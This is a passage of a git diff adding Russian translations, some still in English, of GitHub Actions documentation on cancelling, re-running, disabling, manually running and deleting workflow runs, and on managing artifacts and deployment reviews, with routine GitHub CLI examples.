[отдела](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks) или [организации](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise). + +Запуски рабочих процессов, ожидающие утверждения более 30 дней, автоматически удаляются. + +## Утверждение запусков рабочего процесса при запросе на вытягивание из общедоступной вилки + +{% data reusables.actions.workflows.approve-workflow-runs %} diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/canceling-a-workflow.md b/translations/ru-RU/content/actions/managing-workflow-runs/canceling-a-workflow.md new file mode 100644 index 000000000000..9ac9909befa0 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -0,0 +1,37 @@ +--- +title: Отмена рабочего процесса +shortTitle: Cancel a workflow +intro: 'Вы можете отменить выполняемый рабочий процесс. При отмене выполнения рабочего процесса {% data variables.product.prodname_dotcom %} отменит также все задания и шаги, которые являются частью этого рабочего процесса.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 4da063adbb14b2090245a0a0cc0b444dac4a737f +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010092' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.repositories.permissions-statement-write %} + +## Отмена запуска рабочего процесса + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} +1. В списке запусков рабочих процессов выберите имя запуска `queued` или `in progress`, который нужно отменить. +![Имя запуска рабочего процесса](/assets/images/help/repository/in-progress-run.png) +1. В правом верхнем углу рабочего процесса нажмите кнопку **Отмена рабочего процесса**. +![Кнопка отмены рабочего процесса](/assets/images/help/repository/cancel-check-suite-updated.png) + +## Действия, выполняемые на {% data variables.product.prodname_dotcom %} для отмены запуска рабочего процесса + +Во время отмены запуска рабочего процесса может выполняться другое программное обеспечение, которое использует ресурсы, связанные с запуском рабочего процесса. Чтобы освободить ресурсы, связанные с запуском рабочего процесса, может быть полезно понимать, как именно запуск рабочего процесса отменяется на {% data variables.product.prodname_dotcom %}. + +1. Чтобы отменить запуск рабочего процесса, сервер повторно оценивает условия `if` для всех выполняющихся в настоящее время заданий. Если условие оценивается как `true`, задание не отменяется. Например, условие `if: always()` будет иметь значение true, и задание продолжит выполняться. Если условие отсутствует, это эквивалентно условию `if: success()`, которое выполняется только в случае успешного завершения предыдущего шага. +2. Для заданий, которые необходимо отменить, сервер отправляет всем компьютерам выполнения сообщение об отмене с указанием соответствующих заданий. +3. Для заданий, которые продолжают выполняться, сервер повторно оценивает условия `if` для незавершенных шагов. Если условие оценивается как `true`, шаг продолжает выполняться. +4. Для шагов, которые необходимо отменить, компьютер выполнения отправляет `SIGINT/Ctrl-C` в процесс входа шага (`node` для действия JavaScript, `docker` для действия контейнера и `bash/cmd/pwd` при использовании `run` в шаге). Если процесс не завершается в течение 7500 мс, средство выполнения отправит `SIGTERM/Ctrl-Break` в процесс, а затем будет ждать завершения процесса еще 2500 мс. Если процесс по-прежнему выполняется, средство выполнения завершает его дерево. +5. После истечения времени ожидания отмены, равного 5 минутам, сервер принудительно завершит все задания и шаги, которые не успели завершиться или не прошли процесс отмены. diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/translations/ru-RU/content/actions/managing-workflow-runs/deleting-a-workflow-run.md new file mode 100644 index 000000000000..506b0898fc56 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/deleting-a-workflow-run.md @@ -0,0 +1,27 @@ +--- +title: Удаление выполнения рабочего процесса +shortTitle: Delete a workflow run +intro: 'Можно удалить выполнение рабочего процесса, которое было завершено или которому более двух недель.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 00e2a8b56ee3f7fbcf08c2f97da5b9b7f38a3f7f +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010084' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.repositories.permissions-statement-write %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} +1. Чтобы удалить выполнение рабочего процесса, в раскрывающемся меню {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} выберите **Удалить рабочий процесс**. + + ![Удаление выполнения рабочего процесса](/assets/images/help/settings/workflow-delete-run.png) +2. Просмотрите запрос подтверждения и щелкните **Да, окончательно удалить этот рабочий процесс**. + + ![Подтверждение удаления выполнения рабочего процесса](/assets/images/help/settings/workflow-delete-run-confirmation.png) diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/ru-RU/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md new file mode 100644 index 000000000000..b1d26e4bd26a --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md @@ -0,0 +1,111 @@ +--- +title: Disabling and enabling a workflow +intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Disable & enable a workflow +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}. + +Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful: + +- A workflow error that produces too many or wrong requests, impacting external services negatively. +- A workflow that is not critical and is consuming too many minutes on your account. +- A workflow that sends requests to a service that is down. +- Workflows on a forked repository that aren't needed (for example, scheduled workflows). + +{% warning %} + +**Warning:** {% data reusables.actions.scheduled-workflows-disabled %} + +{% endwarning %} + +You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)." + +## Disabling a workflow + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +1. In the left sidebar, click the workflow you want to disable. + + {% ifversion workflow-nav-2022 -%} + ![Actions select workflow](/assets/images/help/repository/actions-select-workflow-2022.png) + {%- else -%} + ![Actions select workflow](/assets/images/help/repository/actions-select-workflow.png) + {%- endif %} +1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. + + {% ifversion workflow-nav-2022 -%} + ![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab-2022.png) + {%- else -%} + ![Actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png) + {%- endif %} +1. Click **Disable workflow**. + + {% ifversion workflow-nav-2022 -%} + ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow-2022.png) + {%- else -%} + ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png) + + The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status. + + ![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png) + {%- endif %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. + +```shell +gh workflow disable WORKFLOW +``` + +{% endcli %} + +## Enabling a workflow + +{% webui %} + +You can re-enable a workflow that was previously disabled. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +1. In the left sidebar, click the workflow you want to enable. + + {% ifversion workflow-nav-2022 -%} + ![Actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow-2022.png) + {%- else -%} + ![Actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png) + {%- endif %} +1. Click **Enable workflow**. + + {% ifversion workflow-nav-2022 -%} + ![Actions enable workflow](/assets/images/help/repository/actions-enable-workflow-2022.png) + {%- else -%} + ![Actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png) + {%- endif %} + +{% endwebui %} + +{% cli %} + +To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. + +```shell +gh workflow enable WORKFLOW +``` + +{% endcli %} diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/ru-RU/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md new file mode 100644 index 000000000000..179e5c16a979 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -0,0 +1,64 @@ +--- +title: Скачивание артефактов рабочего процесса +intro: Архивные артефакты можно загрузить до истечения срока их действия. +permissions: 'People who are signed into {% data variables.product.product_name %} and have read access to a repository can download workflow artifacts.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Download workflow artifacts +ms.openlocfilehash: dcb2d97095f6cdd704207084b776db05a4d1bd44 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160635' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +По умолчанию {% data variables.product.product_name %} хранит журналы сборки и артефакты в течение 90 дней; вы можете настроить этот период хранения в зависимости от типа репозитория. Дополнительные сведения см. в разделе [Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository). + +{% data reusables.repositories.permissions-statement-read %} + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} +1. В разделе **Артефакты** щелкните артефакт, который нужно скачать. + + ![Раскрывающееся меню скачивания артефакта](/assets/images/help/repository/artifact-drop-down-updated.png) + + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +{% data variables.product.prodname_cli %} скачивает каждый артефакт в отдельные каталоги на основе имени артефакта. Если указан только один артефакт, он будет извлечен в текущий каталог. + +Чтобы скачать все артефакты, созданные при выполнении рабочего процесса, используйте подкоманду `run download`. Замените `run-id` идентификатором выполнения, из которого требуется скачать артефакты. Если вы не укажете `run-id`, {% data variables.product.prodname_cli %} возвратит интерактивное меню, в котором можно выбрать недавний запуск. + +```shell +gh run download RUN_ID +``` + +Чтобы скачать определенный артефакт из выполнения, используйте подкоманду `run download`. Замените `run-id` идентификатором выполнения, из которого требуется скачать артефакты. Замените `artifact-name` именем артефакта, который необходимо скачать. + +```shell +gh run download RUN_ID -n ARTIFACT_NAME +``` + +Вы можете указать несколько артефактов. + +```shell +gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2 +``` + +Чтобы скачать определенные артефакты во всех выполнениях в репозитории, используйте подкоманду `run download`. + +```shell +gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2 +``` + +{% endcli %} diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/index.md b/translations/ru-RU/content/actions/managing-workflow-runs/index.md new file mode 100644 index 000000000000..1dbf4aa807ae --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/index.md @@ -0,0 +1,35 @@ +--- +title: Управление запусками рабочих процессов +shortTitle: Manage workflow runs +intro: 'Вы можете повторно запустить или отменить рабочий процесс, {% ifversion fpt or ghes or ghae %}просмотреть развертывание, {% endif %}просмотреть оплачиваемые минуты выполнения задания и скачать артефакты.' +redirect_from: + - /actions/configuring-and-managing-workflows/managing-a-workflow-run + - /articles/managing-a-workflow-run + - /github/automating-your-workflow-with-github-actions/managing-a-workflow-run + - /actions/automating-your-workflow-with-github-actions/managing-a-workflow-run + - /actions/configuring-and-managing-workflows/configuring-and-managing-workflow-files-and-runs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /manually-running-a-workflow + - /re-running-workflows-and-jobs + - /canceling-a-workflow + - /approving-workflow-runs-from-public-forks + - /approving-workflow-runs-from-private-forks + - /reviewing-deployments + - /disabling-and-enabling-a-workflow + - /skipping-workflow-runs + - /deleting-a-workflow-run + - /downloading-workflow-artifacts + - /removing-workflow-artifacts +ms.openlocfilehash: 9e7d6f9c29fdfb2a387b84373c1140dbb3ef6713 +ms.sourcegitcommit: 73b91dd4cdf592eadec4252319379d6fbe92858e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164093' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/ru-RU/content/actions/managing-workflow-runs/manually-running-a-workflow.md new file mode 100644 index 000000000000..c3193c62c216 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/manually-running-a-workflow.md @@ -0,0 +1,86 @@ +--- +title: Запуск рабочего процесса вручную +intro: 'Если рабочий процесс настроен для запуска в событии `workflow_dispatch`, можно запустить рабочий процесс с помощью вкладки "Действия" в {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %} или REST API.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Manually run a workflow +ms.openlocfilehash: efee0122375b04b6790f630685766312dcad28bc +ms.sourcegitcommit: d6838593f16c4b800e83cac82f6d398a14f7516d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/14/2022 +ms.locfileid: '148045709' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Настройка рабочего процесса для запуска вручную + +Чтобы запустить рабочий процесс вручную, необходимо настроить его на запуск с использованием события `workflow_dispatch`. Для активации события `workflow_dispatch` рабочий процесс должен находиться в ветви по умолчанию. Дополнительные сведения о настройке события `workflow_dispatch` см. в описании [событий, активирующих рабочие процессы](/actions/reference/events-that-trigger-workflows#workflow_dispatch). + +{% data reusables.repositories.permissions-statement-write %} + +## Запуск рабочего процесса + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} +1. На левой боковой панели щелкните рабочий процесс, который хотите запустить. + + {% ifversion workflow-nav-2022 -%} ![ Действия выбора рабочего процесса](/assets/images/help/repository/actions-select-workflow-2022.png) {%- else -%} ![Действия выбирают рабочий процесс](/assets/images/help/repository/actions-select-workflow.png) {%- endif %} +1. Над списком запусков рабочего процесса выберите **Запуск рабочего процесса**. +![Назначение рабочего процесса в действиях](/assets/images/actions-workflow-dispatch.png) +1. В раскрывающемся меню **Ветвь** выберите ветвь рабочего процесса и введите входные параметры. Щелкните **Запустить рабочий процесс**. +![Запуск рабочего процесса вручную в действиях](/assets/images/actions-manually-run-workflow.png) + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы запустить рабочий процесс, используйте подкоманду `workflow run`. Замените параметр `workflow` на имя, идентификатор или название файла рабочего процесса, который нужно запустить. Например, `"Link Checker"`, `1234567` или `"link-check-test.yml"`. Если не указать рабочий процесс, {% data variables.product.prodname_cli %} выведет интерактивное меню для его выбора. + +```shell +gh workflow run WORKFLOW +``` + +Если рабочий процесс принимает входные данные, {% data variables.product.prodname_cli %} выведет запрос для их ввода. Кроме того, можно использовать `-f` или `-F` для добавления входных данных в формате `key=value`. Используйте `-F` для чтения из файла. + +```shell +gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt +``` + +Входные данные также можно передавать в формате JSON, используя стандартный ввод. + +```shell +echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json +``` + +Чтобы запустить рабочий процесс не в ветви репозитория по умолчанию, используйте флаг `--ref`. + +```shell +gh workflow run WORKFLOW --ref BRANCH +``` + +Чтобы просмотреть ход выполнения рабочего процесса, используйте подкоманду `run watch` и выберите нужное выполнение в интерактивном списке. + +```shell +gh run watch +``` + +{% endcli %} + +## Запуск рабочего процесса с помощью REST API + +При использовании REST API вы настраиваете `inputs` и `ref` в качестве параметров текста запроса. Если не указывать входные данные, используются значения по умолчанию, определенные в файле рабочего процесса. + +{% note %} + +**Примечание.** Можно определить до 10 параметров `inputs` для события `workflow_dispatch`. + +{% endnote %} + +Дополнительные сведения об использовании REST API см. в разделе [Создание события назначения рабочего процесса](/rest/reference/actions/#create-a-workflow-dispatch-event). diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/ru-RU/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md new file mode 100644 index 000000000000..bc4413c3111d --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md @@ -0,0 +1,175 @@ +--- +title: Re-running workflows and jobs +shortTitle: Re-run workflows and jobs +intro: 'You can re-run a workflow run{% ifversion re-run-jobs %}, all failed jobs in a workflow run, or specific jobs in a workflow run{% endif %} up to 30 days after its initial run.' +permissions: People with write permissions to a repository can re-run workflows in the repository. +miniTocMaxHeadingLevel: 3 +redirect_from: + - /actions/managing-workflow-runs/re-running-a-workflow +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About re-running workflows and jobs + +Re-running a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif %} uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. {% ifversion actions-stable-actor-ids %}The workflow will use the privileges of the actor who initially triggered the workflow, not the privileges of the actor who initiated the re-run. {% endif %}You can re-run a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif %} for up to 30 days after the initial run.{% ifversion re-run-jobs %} You cannot re-run jobs in a workflow once its logs have passed their retention limits. For more information, see "[Usage limits, billing, and administration](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% endif %}{% ifversion debug-reruns %} When you re-run a workflow or jobs in a workflow, you can enable debug logging for the re-run. This will enable runner diagnostic logging and step debug logging for the re-run. For more information about debug logging, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."{% endif %} + +## Re-running all the jobs in a workflow + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +{% data reusables.repositories.navigate-to-workflow %} +{% data reusables.repositories.view-run %} +{% ifversion fpt or ghes > 3.4 or ghae or ghec -%} +1. In the upper-right corner of the workflow, use the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu, and select **Re-run all jobs**. + + If no jobs failed, you will not see the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu. Instead, click **Re-run all jobs**. + + ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) +{%- endif %} +{% ifversion ghes < 3.5 or ghae -%} +1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**. + + ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png) +{%- endif %} +{% data reusables.actions.enable-debug-logging %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. + +```shell +gh run rerun RUN_ID +``` + +{% ifversion debug-reruns %} +{% data reusables.actions.enable-debug-logging-cli %} + +```shell +gh run rerun RUN_ID --debug +``` + +{% endif %} + +To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list. + +```shell +gh run watch +``` + +{% endcli %} + +{% ifversion re-run-jobs %} +## Re-running failed jobs in a workflow + +If any jobs in a workflow run failed, you can re-run just the jobs that failed. When you re-run failed jobs in a workflow, a new workflow run will start for all failed jobs and their dependents. Any outputs for any successful jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any environment protection rules that passed in the previous run will automatically pass in the re-run. + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +{% data reusables.repositories.navigate-to-workflow %} +{% data reusables.repositories.view-run %} +1. In the upper-right corner of the workflow, use the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu, and select **Re-run failed jobs**. + + ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) +{% data reusables.actions.enable-debug-logging %} + +{% endwebui %} + +{% cli %} + +To re-run failed jobs in a workflow run, use the `run rerun` subcommand with the `--failed` flag. Replace `run-id` with the ID of the run for which you want to re-run failed jobs. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. + +```shell +gh run rerun RUN_ID --failed +``` + +{% ifversion debug-reruns %} +{% data reusables.actions.enable-debug-logging-cli %} + +```shell +gh run rerun RUN_ID --failed --debug +``` + +{% endif %} +{% endcli %} + +## Re-running a specific job in a workflow + +When you re-run a specific job in a workflow, a new workflow run will start for the job and any dependents. Any outputs for any other jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any environment protection rules that passed in the previous run will automatically pass in the re-run. + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +{% data reusables.repositories.navigate-to-workflow %} +{% data reusables.repositories.view-run %} +1. Next to the job that you want to re-run, click {% octicon "sync" aria-label="The re-run icon" %}. + ![Re-run selected job](/assets/images/help/repository/re-run-selected-job.png) + + Alternatively, click on a job to view the log. In the log, click {% octicon "sync" aria-label="The re-run icon" %}. + ![Re-run selected job](/assets/images/help/repository/re-run-single-job-from-log.png) +{% data reusables.actions.enable-debug-logging %} + +{% endwebui %} + +{% cli %} + +To re-run a specific job in a workflow run, use the `run rerun` subcommand with the `--job` flag. Replace `job-id` with the ID of the job that you want to re-run. + +```shell +gh run rerun --job JOB_ID +``` + +{% ifversion debug-reruns %} +{% data reusables.actions.enable-debug-logging-cli %} + +```shell +gh run rerun --job JOB_ID --debug +``` + +{% endif %} +{% endcli %} + +{% endif %} + +{% ifversion partial-reruns-with-reusable %} + +## Re-running workflows and jobs with reusable workflows + +{% data reusables.actions.partial-reruns-with-reusable %} + +{% endif %} + +{% ifversion fpt or ghes > 3.4 or ghae or ghec %} +## Reviewing previous workflow runs + +You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see ["Get a workflow run"](/rest/reference/actions#get-a-workflow-run). + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +{% data reusables.repositories.navigate-to-workflow %} +{% data reusables.repositories.view-run %} +{%- ifversion re-run-jobs %} +1. Any previous run attempts are shown in the **Latest** drop-down menu. + ![Previous run attempts](/assets/images/help/repository/previous-run-attempts.png) +{%- else %} +1. Any previous run attempts are shown in the left pane. + ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png) +{%- endif %} +1. Click an entry to view its results. + +{% endif %} diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/translations/ru-RU/content/actions/managing-workflow-runs/removing-workflow-artifacts.md new file mode 100644 index 000000000000..b292f778bace --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -0,0 +1,45 @@ +--- +title: Удаление артефактов рабочего процесса +intro: 'Вы можете освободить хранилище {% data variables.product.prodname_actions %}, удалив артефакты до истечения срока действия {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Remove workflow artifacts +ms.openlocfilehash: e5fe2bb21f72785f55d22fffd9ba46420d791fce +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146199805' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Удаление артефакта + +{% warning %} + +**Предупреждение.** После удаления артефакта его нельзя восстановить. + +{% endwarning %} + +{% data reusables.repositories.permissions-statement-write %} + +{% data reusables.actions.artifact-log-retention-statement %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} +1. В разделе **Артефакты** щелкните {% octicon "trash" aria-label="The trash icon" %} рядом с артефактом, который вы хотите удалить. + + ![Раскрывающееся меню удаления артефакта](/assets/images/help/repository/actions-delete-artifact-updated.png) + + +## Настройка периода хранения для артефакта + +Периоды хранения артефактов и журналов можно настраивать на уровне репозитория, организации и предприятия. Дополнительные сведения см. в разделе {% ifversion fpt or ghec or ghes %}[Ограничения использования, выставление счетов и администрирование](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy).{% elsif ghae %}[Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository), [Настройка периода хранения для {% data variables.product.prodname_actions %} для артефактов и журналов в вашей организации](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization) или [Принудительное применение политик для {% data variables.product.prodname_actions %} в вашем предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise).{% endif %} + +Вы также можете определить настраиваемый период хранения для отдельных артефактов с помощью действия `actions/upload-artifact` в рабочем процессе. Дополнительные сведения см. в разделе [Хранение данных рабочего процесса в качестве артефактов](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period). + +## Поиск даты окончания срока действия артефакта + +Вы можете использовать API для подтверждения даты запланированного удаления артефакта. Дополнительные сведения см. в описании значения `expires_at`, возвращаемого параметром [Список артефактов для репозитория](/rest/reference/actions#artifacts). diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/reviewing-deployments.md b/translations/ru-RU/content/actions/managing-workflow-runs/reviewing-deployments.md new file mode 100644 index 000000000000..3748419e006f --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/reviewing-deployments.md @@ -0,0 +1,33 @@ +--- +title: Проверка развертываний +shortTitle: Review deployments +intro: 'Задания, ожидающие проверки, можно утвердить или отклонить.' +product: '{% data reusables.gated-features.environments %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 88b3b68a48f3b3850c4a5e8d376f38da935942b3 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009971' +--- +## Сведения о необходимых проверках в рабочих процессах + +Задания, ссылающиеся на среду, настроенную с обязательными рецензентами, будут ожидать утверждения перед запуском. Во время ожидания утверждения, оно находится в состоянии "Ожидание". Если задание не утверждено в течение 30 дней, выполнение рабочего процесса будет автоматически отменено. + +Дополнительные сведения о средах и необходимых утверждениях см. в разделе "[Использование сред для развертывания](/actions/deployment/using-environments-for-deployment)". Сведения о проверке развертываний с помощью REST API см. в разделе "[Запуски рабочих процессов](/rest/reference/actions#workflow-runs)". + +## Утверждение или отклонение задания + +1. Перейдите к выполнению рабочего процесса, требующего проверки. Дополнительные сведения о переходе к выполнению рабочего процесса см. в разделе [Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history). +2. Щелкните **Проверка развертываний**. + ![Проверка развертываний](/assets/images/actions-review-deployments.png) +3. Выберите среды заданий для утверждения или отклонения. При необходимости оставьте комментарий. + ![Утверждение развертываний](/assets/images/actions-approve-deployments.png) +4. Утвердить или отклонить: + - Чтобы утвердить задание, щелкните **Утвердить и развернуть**. После утверждения задания (и прохождения всех других правил защиты среды) задание будет продолжено. На этом этапе задание может получить доступ к любым секретам, хранящимся в среде. + - Чтобы отклонить задание, щелкните **Отклонить**. Если задание отклонено, рабочий процесс завершится ошибкой. diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/ru-RU/content/actions/managing-workflow-runs/skipping-workflow-runs.md new file mode 100644 index 000000000000..972a767a9d90 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -0,0 +1,45 @@ +--- +title: Пропуск запусков рабочих процессов +intro: 'Вы можете пропустить запуски рабочего процесса, активированные событиями `push` и `pull_request`, включив команду в сообщение фиксации.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Skip workflow runs +ms.openlocfilehash: 